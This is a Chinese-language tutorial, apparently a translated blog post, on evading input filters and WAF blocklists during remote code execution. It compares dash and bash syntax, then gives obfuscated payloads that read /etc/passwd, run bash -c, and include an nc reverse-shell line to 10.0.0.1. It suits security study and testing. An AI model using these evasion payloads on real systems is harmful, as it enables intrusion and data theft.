写在前面的话
在这篇文章中,我们将跟大家介绍如何绕过目标Web应用程序上严格的输入验证,而这种验证机制将阻止我们向目标Web应用发送包含类似‘ ” ; : / & |字符的远程代码执行Payload。
在近期的一篇文章中,我们介绍了如何使用Bash Globbing模式来绕过输入验证,其中的一种方法就是使用Bash子字符串从从环境变量值中获取特殊字符,比如说:${PATH:0:1}通常等于/。通常,Web应用程序会在不支持Bash的服务器系统上运行,但Almquist shell也会被视作是Dash或sh。Dash是无法对子字符串做类似${PATH:0:1}这样的事情的,但我们可以使用另外两种分别名为“移除前缀模式”和“移除后缀模式”的功能来实现我们的目的。具体情况需要根据PATH值来进行分析,如果PATH值以/usr开头,则${PATH%%u*}就应该等于/。如果你使用的是字符串范围语句的话,那么${PATH%%[a-z]*}也应该等于/。
关于Dash和Bash
Bash(GNU Bourne-Again Shell)是许多Linux平台的内定Shell,事实上,还有许多传统UNIX上用的Shell,像tcsh、csh、ash、bsh、ksh等等。
GNU/Linux 操作系统中的 /bin/sh 本是 bash (Bourne-Again Shell) 的符号链接,但鉴于 bash 过于复杂,有人把 bash 从 NetBSD 移植到 Linux 并更名为 dash (Debian Almquist Shell),并建议将 /bin/sh 指向它,以获得更快的脚本执行速度。Dash Shell 比 Bash Shell 小的多,符合POSIX标准。
Debian和Ubuntu中,/bin/sh默认已经指向dash,这是一个不同于bash的shell,它主要是为了执行脚本而出现,而不是交互,它速度更快,但功能相比bash要少很多,语法严格遵守POSIX标准。
语法上的主要的区别有:
1.定义函数
bash: function在bash中为关键字
dash: dash中没有function这个关键字
2.select var in list; do command; done
bash:支持
dash:不支持, 替代方法:采用while+read+case来实现
3. echo {0..10}
bash:支持{n..m}展开
dash:不支持,替代方法, 采用seq外部命令
4. here string
bash:支持here string
dash:不支持, 替代方法:可采用here documents
5. >&word重定向标准输出和标准错误
bash: 当word为非数字时,>&word变成重定向标准错误和标准输出到文件word
dash: >&word, word不支持非数字, 替代方法: >word 2>&1; 常见用法 >/dev/null 2>&1
6. 数组
bash: 支持数组, bash4支持关联数组
dash: 不支持数组,替代方法, 采用变量名+序号来实现类似的效果
7. 子字符串扩展
bash: 支持${parameter:offset:length},${parameter:offset}
dash: 不支持, 替代方法:采用expr或cut外部命令代替
8. 大小写转换
bash: 支持${parameter^pattern},${parameter^^pattern},${parameter,pattern},${parameter,,pattern}
dash: 不支持,替代方法:采用tr/sed/awk等外部命令转换
9. 进程替换<(command), >(command)
bash: 支持进程替换
dash: 不支持, 替代方法, 通过临时文件中转
10. [ string1 = string2 ] 和 [ string1 == string2 ]
bash: 支持两者
dash: 只支持=
11. [[ 加强版test
bash: 支持[[ ]], 可实现正则匹配等强大功能
dash: 不支持[[ ]], 替代方法,采用外部命令
12. for (( expr1 ; expr2 ; expr3 )) ; do list ; done
bash: 支持C语言格式的for循环
dash: 不支持该格式的for, 替代方法,用while+$((expression))实现
13. let命令和((expression))
bash: 有内置命令let, 也支持((expression))方式
dash: 不支持,替代方法,采用$((expression))或者外部命令做计算
14. $((expression))
bash: 支持id++,id–,++id,–id这样到表达式
dash: 不支持++,–, 替代方法:id+=1,id-=1, id=id+1,id=id-1
移除前缀和后缀模式
简单来说,这种技术是通过在变量名中使用%、%%、#或##,可以从左或右开始删除部分变量值。让我们举几个例子:
${parameter%word}:删除最小后缀模式。参数的扩展可以生成其他参数,然后与模式匹配的后缀最小部分将会被删除。
# TEST=”foo.bar.sample”; echo ${TEST%.*}
foo.bar
${parameter%%word}:删除最大后缀模式。参数的扩展可以生成其他参数,然后与模式匹配的后缀最大部分将会被删除。
# TEST=”foo.bar.sample”; echo ${TEST%%.*}
foo
${parameter#word}:删除最小前缀模式。参数的扩展可以生成其他参数,然后与模式匹配的前缀最小部分将会被删除。
# TEST=”foo.bar.sample”; echo ${TEST#*.}
bar.sample
${parameter##word}:删除最大前缀模式。参数的扩展可以生成其他参数,然后与模式匹配的前缀最大部分将会被删除。
# TEST=”foo.bar.sample”; echo ${TEST##*.}
sample
此语法的一个用例是更改文件名列表的扩展名。例如,如果我想重命名/etc/中的所有*.conf文件,将其扩展名改为.txt,我们就可以这样做:
for file in $(ls -1 /etc/*.conf); do echo ${file%.*}.txt; done
输入验证
在对客户应用程序中的一个远程代码执行漏洞进行测试时,我发现了一种方法来绕过他们的输入验证。
假设Web应用程序存在远程代码执行漏洞,可以导致任意代码执行,但其中的输入验证函数可以防止带有特殊字符的Payload执行,比如说[/”‘&|()-;:.,\s\t\n`],而且还屏蔽了常见的Unix命令,比如说eval、bash、sh、nc、bas64等(很多Web应用防火墙都会这样做)。但是,如果Web应用程序允许$、{和}这样的字符存在的话,那我们就有很多种方法来绕过输入验证并利用远程代码执行漏洞了。
在这种情况下,下面的Payload都将会被屏蔽:
code=cat+/etc/passwd (匹配\s和/)
code=/bin/ca?+/e??/??ss?? (匹配\s和/)
code=cd${IFS}/etc;cat${IFS}passwd (匹配/)
code=nc+-e+/bin/sh+10.0.0.1+1234 (匹配\s – /和.)
那么,有没有可能创建一个Payload,它不需要像正斜杠、引号这样的字符,并且不会使用众所周知的Unix命令触发WAF呢?为此我专门创建了一个【Challenge】。其核心思想是从目标shell环境变量中获取特殊字符。例如,我们可以使用子字符串0:1(例如在Bash中使用${PATH:0:1})从$PATH变量中获取值。
在上面的截图中,我们使用${PATH:0:1}替换了/,并使用${PATH:0:1}连接了/etc/passwd的完整路径。但问题是,一般的PHP Shell都是Dash或/bin/sh,我们是无法使用这种子字符串语句来利用远程代码执行漏洞的。
在Dash中,我们可以使用“移除前缀模式”和“移除后缀模式”语句。比如说,针对目标PATH变量:
– ${PATH%%u*}应该等于 /
– ${PATH##*s????} 应该等于 /bin
– ${PATH%%[a-z]*} 应该等于 /
所以,为了获取etc/passwd内容,我使用了下列语句来绕过Web应用程序的输入验证机制:
cat${IFS}${PATH%%u*}etc${PATH%%u*}passwd
请记住:这个语句取决于目标PATH变量的值,如果/之后的第一个字母为“u”(比如说PATH=/usr/bin:…),那么${PATH%%u*}就应该为“/”。如果目标PATH以PATH=/home/themiddle/bin:…开头,那么${PATH%%h*}就应该为/。
现在的问题是,Payload中存在有“cat”、“etc”和“passwd”字符串,Web应用防火墙会因此屏蔽我的Payload。因此,我需要使用Globbing模式混淆我的Payload,但是我需要完整的路径来使用Globbing模式执行命令,比如/bin/c??而不是“cat”。解决方案如下:
·执行env并查看所有的变量值;
·使用${PATH##*s????}从$PATH获取/bin;
·使用${PATH%%u*}从$PATH获取/;
·使用$IFS而不是空格;
code=${PATH##*s????}${PATH%%u*}c??${IFS}${PATH%%u*}e??${PATH%%u*}??ss??
我在我的命令行终端中测试一切正常,但我们需要确保在利用目标Web应用程序中的远程代码执行漏洞时也能一切正常。首先,我们需要检测到底哪一个变量是我们可以使用的:
我们可以看到,没有进行模糊处理的Payload会被Web应用程序的输入验证机制所屏蔽掉:
所以,我首先需要绕过的是基于“特殊字符”的过滤器。正如我所说的,在这个场景下,我们可以使用${PATH%%u*}和${IFS}来分别代替/和空格:
现在,我需要绕过基于常见Unix命令和路径的Web应用防火墙黑名单。正如你所看到的,我的Payload:cat${IFS}${PATH%%u*}etc${PATH%%u*}passwd被屏蔽了:
为了实现绕过,我可以使用Globbing模式来对Unix命令以及路径进行混淆处理,但我需要使用/bin/cat的完整路径来执行“cat”命令并将其模糊处理为/b??/c??。这样一来,我可以从${PATH##*s????}获取/bin:
现在,我想要通过下列语句来执行/b??/c?? /e??/??ss??:
${PATH##*s????}${PATH%%u*}c??${IFS}${PATH%%u*}e??${PATH%%u*}??ss??
我们还可以使用“未初始化”变量来对命令和路径进行混淆处理:
${PATH##*s????}${PATH%%u*}ca${u}t${IFS}${PATH%%u*}et${u}c${PATH%%u*}pas${u}swd
我可以通过从$PHP_CFLAGS变量的第一个字符获取“–”来执行更多复杂的命令,比如说bash -c。我可以发送下列Payload来执行/bin/bash -c ls:
${PATH##*s????}${PATH%%u*}bas${u}h${IFS}${PHP_CFLAGS%%f*}c${IFS}l${u}s
如果是Bash,那就更加简单了
如果出于某种原因,目标应用程序使用的是Bash,那我们就可以使用子字符串语句来更加轻松地实现绕过了。比如说,/bi?/ca? /et?/??sswd就会变成:
${PATH:0:1}bi?${PATH:0:1}ca?${IFS}${PATH:0:1}et?${PATH:0:1}??sswd
关于我发布的Challenge
第一名:
kusky3 (payload tail${IFS}${APACHE_CONFDIR%${APACHE_CONFDIR#?}}et?${APACHE_CONFDIR%${APACHE_CONFDIR#?}}pas?wd)
第二名:
Sparrrgh (payload c${a}at${IFS}${APACHE_CONFDIR%apache2}pas${s}swd)
第三名:
DrV (payload ca${jjj}t${IFS}${APACHE_RUN_DIR%???????????????}et${jjj}c${APACHE_RUN_DIR%???????????????}pas${jjj}swd)
第四名:
glauco (payload c${u}at${IFS}${PHP_INI_DIR%%u*p}e${u}tc${PHP_INI_DIR%%u*p}p${u}asswd)
参考资料
1、https://medium.com/secjuice/waf-evasion-techniques-718026d693d8
2、https://www.secjuice.com/web-application-firewall-waf-evasion/

评论